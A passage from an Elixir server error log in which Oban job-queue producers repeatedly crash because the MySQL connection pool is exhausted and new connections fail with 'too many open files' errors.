#Reference<0.2525715032.1099431938.66521>, refresh_timer: #Reference<0.2525715032.1099431938.66494>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:41:03.239089Z], limit: 50, uuid: "f535a7ce-45ac-43d3-a681-7facd0e80417", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:03.239094Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.213184>, refresh_timer: #Reference<0.2525715032.1099431938.66501>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:19.143000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:20.381000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:23.308000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:23.659000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:25.062000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:26.099000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1080ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:41:15.239129Z], limit: 5, uuid: "64148ff3-b2e7-42db-a4fe-e096a6a2f6a0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:15.239134Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.213674>, refresh_timer: #Reference<0.2525715032.1099431938.66554>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1055ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:41:15.238995Z], limit: 5, uuid: "502ffd50-979e-4d46-a178-6729cbbdbc2a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:15.239001Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.48571>, refresh_timer: #Reference<0.2525715032.1077673987.48545>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:41:15.239261Z], limit: 10, uuid: "e23b1667-31f6-4be4-8610-21821bc58428", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:15.239266Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.213675>, refresh_timer: #Reference<0.2525715032.1077673987.48557>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:41:15.239236Z], limit: 50, uuid: "076cf82c-7feb-451e-98ca-49d137162c61", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:15.239240Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.48572>, refresh_timer: #Reference<0.2525715032.1077673987.48555>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:27.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 853ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:41:15.240105Z], limit: 3, uuid: "49573c73-be48-4abf-82eb-22b6df2990a3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:15.240110Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.66569>, refresh_timer: #Reference<0.2525715032.1099431938.66568>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:27.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 806ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:41:15.238995Z], limit: 20, uuid: "5848e220-6deb-490c-a0cc-b54ef912edfc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:15.239001Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.48570>, refresh_timer: #Reference<0.2525715032.1077673987.48546>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:30.003000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:30.479000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:33.172000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:34.938000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:37.331000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:38.024000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:38.882000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1052ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:41:27.239794Z], limit: 10, uuid: "4f170038-e89d-4edf-afb3-11a014e75b6a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:27.239800Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.66588>, refresh_timer: #Reference<0.2525715032.1099431938.66587>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1084ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
